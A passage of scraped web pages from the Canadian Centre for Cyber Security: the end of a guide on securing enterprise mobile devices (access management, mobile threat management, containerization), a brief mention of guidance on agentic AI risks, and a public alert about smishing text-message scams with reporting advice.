each employee and to allows only approved applications to access and distribute data.</p> <h4>7.3.3 Mobile identity and access management</h4> <p>This process manages and defines roles and privileges for each user to ensure that access to organizational resources is restricted to those with access rights. It relies on <abbr title="multi-factor authentication">MFA</abbr>, biometrics, certificates, code signatures or device-specific information to control how employees use the organization’s applications and data.</p> <h4>7.3.4 Mobile threat management</h4> <p>Mobile threat management (MTM) is a mobile security product that helps organizations reduce the risk posed by mobile devices. The premise of <abbr title="Mobile threat management">MTM</abbr> is that although device manufacturers are improving the security posture of their devices with every release, vulnerabilities remain, and new ones are continually discovered.</p> <p><abbr title="Mobile threat management">MTM</abbr> attempts to help organizations manage risk by implementing functions such as:</p> <ul><li>integration with <abbr title="mobile device management">MDM</abbr>/EMM functions, such as enrollment, security policy and restrictions, and audit/logging</li> <li>application and <abbr title="operating systems">OS</abbr> version and patch management</li> <li>enforcement and automation of domain name system (DNS) filtering and VPN use</li> <li>installed application inventory, malware detection, and allow list and deny list</li> <li>mobile incident response—this pairs well with UEM platforms, where compliance-based controls are often used for automated responses to mobile security incidents</li> </ul><h4>7.3.5 Mobile expense management</h4> <p>Mobile expense management (MEM) allows organizations to track and control expenses across their entire mobility infrastructure. It also allows organizations to set limits for data and application usage.</p> <h4>7.3.6 Containerization</h4> <p>Containerization is a data segregation solution for devices that store both work and personal data such as <abbr title="bring-your-own-device">BYOD</abbr> and COPE. It isolates your organization’s data from everything else on the device, in separate encrypted containers.</p> </section><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> <section><h2 class="text-info" id="CC-mobility-suite">8 Cyber Centre’s mobility suite</h2> <p>To help mitigate the threats posed by mobile devices, the Cyber Centre has created a suite of mobile security publications that can help organizations significantly reduce their threat surface with respect to mobile devices. In addition to the publications mentioned earlier in this publication, the following resources may also be of value to your organization:</p> <ul><li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="38a1fb42-00d7-4f06-89ad-c73fa0e72ce9" href="/en/guidance/using-your-mobile-device-securely-itsap00001">Using your mobile device securely (ITSAP.00.001)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="7aa3f54a-1d31-4a82-aa41-93dec6e4dc73" href="/en/guidance/security-considerations-mobile-device-deployments-itsap70002">Security considerations for mobile device deployments (ITSAP.70.002)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="c9cbfaae-471a-4c9b-a691-67c9f13eb776" href="/en/guidance/mobile-devices-and-business-travellers-itsap00087">Mobile devices and business travellers (ITSAP.00.087)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="639ede31-0d64-45cb-9688-664b3ee445cb" href="/en/guidance/how-updates-secure-your-device-itsap10096">How updates secure your device (ITSAP.10.096)</a></li> <li><a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="4e3fdb7e-a4e6-4823-8828-4cb10673f867" href="/en/guidance/cyber-security-considerations-5g-networks-itsap80116">Cyber security considerations for 5G networks (ITSAP.80.116) </a></li> </ul></section><section><h2 class="text-info" id="Summary">Summary</h2> <p>Mobile devices are convenient, flexible and allow employees to work anywhere and at any time. However, their complex design and enhanced functionality can pose a threat to your organization’s information, assets and networks. Since mobile devices can contain, or provide access to, vast amounts of sensitive corporate and personal information, they are attractive targets that can provide unique opportunities for threat actors intent on gathering information.</p> <p>The threats posed by mobile device use are numerous and must be clearly understood and mitigated to protect the confidentiality, availability and integrity of your organization’s information. Enterprise mobility should use commercially available protections and compensate for device limitations within the overall enterprise mobility architecture, leverage the organization’s risk-management framework, and develop security policies specifically for mobile devices.</p> <p>Where necessary, you can further harden commercial mobile devices to improve integrity and reduce risks. Your organization should conduct a threat and risk assessment to determine the security controls for its enterprise mobility solutions. Security controls need to be implemented and verified for the organization’s complete information system, from mobile devices to the network services that support business processes and information assets.</p> <p>The Cyber Centre encourages organizations with more mature <abbr title="information technology">IT</abbr> infrastructures and business processes to implement a mobility management solution that enables enhanced business and security features, as well as improved capabilities to secure, manage, audit and support mobile devices in the workplace.</p> </section><!– Forward and details –><section><h3>Effective date</h3> <p>This publication takes effect on May 4, 2026.</p> <p>This is an unclassified publication issued under the authority of the Head of the Cyber Centre.</p> <p>This document supersedes:</p> <ul><li>Securing the enterprise for mobility (ITSM.80.001), July 2016</li> <li>Mobile device management (MDM) solutions – guidance for the Government of Canada (ITSB-64), July 2013</li> <li>Mobile security – Securing the Government of Canada (ITSE.80.001), June 2016</li> </ul><h3>Revision history</h3> <ol class="lst-spcd"><li>First release: July, 2016</li> <li>Second release: May, 2026</li> </ol></section><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp" title="Return to Top of page">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"> </span></div> </div> </div> </div> </div> </div> </div> </div> </article>

This joint guidance is intended for organizations that are considering developing or deploying agentic AI systems. It outlines security considerations related to LLMs and AI and describes the key risks associated with agentic AI.

<article data-history-node-id="7184" about="/en/news-events/cyber-centre-warns-sophisticated-smishing-activity-targeting-canadians" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre), in collaboration with the Royal Canadian Mounted Police (RCMP), is warning Canadians and businesses about sophisticated smishing attacks – phishing attempts delivered via text messages.</p> <p>Cybercriminals are actively targeting mobile users across Canada. These fraudulent messages often appear to come from trusted organizations, such as banks, and may even show up in legitimate message threads, making them difficult to detect.</p> <h2>Why this matters now</h2> <p>Smishing attacks are becoming more sophisticated, using spoofed numbers and urgent language to trick victims into clicking malicious links or sharing sensitive information. Falling for these scams can lead to financial fraud, identity theft or malware infections.</p> <p>To help Canadians protect themselves, the Cyber Centre has released new <a href="/en/guidance/smishing-protect-yourself-sms-attacks-itsap00103"> guidance on protecting against smishing</a> that outlines what to look for and the steps to take if you receive a suspicious text. This resource is timely and essential for staying safe in today’s evolving cyber threat landscape.</p> <h3>Reporting smishing attacks</h3> <p>Stay vigilant and <a href="https://www.getcybersafe.gc.ca/en/blogs/reporting-spam-text-messages-7726"> report suspicious messages to 7726 (SPAM)</a>. If you believe that you have fallen victim to a smishing attack and have shared sensitive information or suffered financial loss, <a href="/en/incident-management"> report the incident to the Canadian Anti-Fraud Centre</a> and to your local police service.</p> <p>Your reporting and cooperation will contribute to law enforcement efforts to investigate and disrupt cybercriminal activities impacting the safety and security of Canadians.</p> <h2>Further reading</h2> <ul><li><a href="/en/guidance/smishing-protect-yourself-sms-attacks-itsap00103">Smishing: Protect yourself from SMS attacks</a></li> <li><a href="/en/guidance/dont-take-bait-recognize-and-avoid-phishing-attacks">Don’t take the bait: Recognize and avoid phishing attacks (ITSAP.00.101)</a></li> <li><a href="https://www.getcybersafe.gc.ca/en/blogs/phish-vish-smish-how-banks-are-helping-canadians-spot-digital-fraud">Phish, vish, smish – how banks are helping Canadians spot digital fraud (Get Cyber Safe)</a></li> <li><a href="https://cba.ca/article/what-your-bank-will-never-ask">Spot scams before they happen: what your bank will never ask (Canadian Bankers Association)</a></li> </ul></div> </div> </div> </div> </div> </article>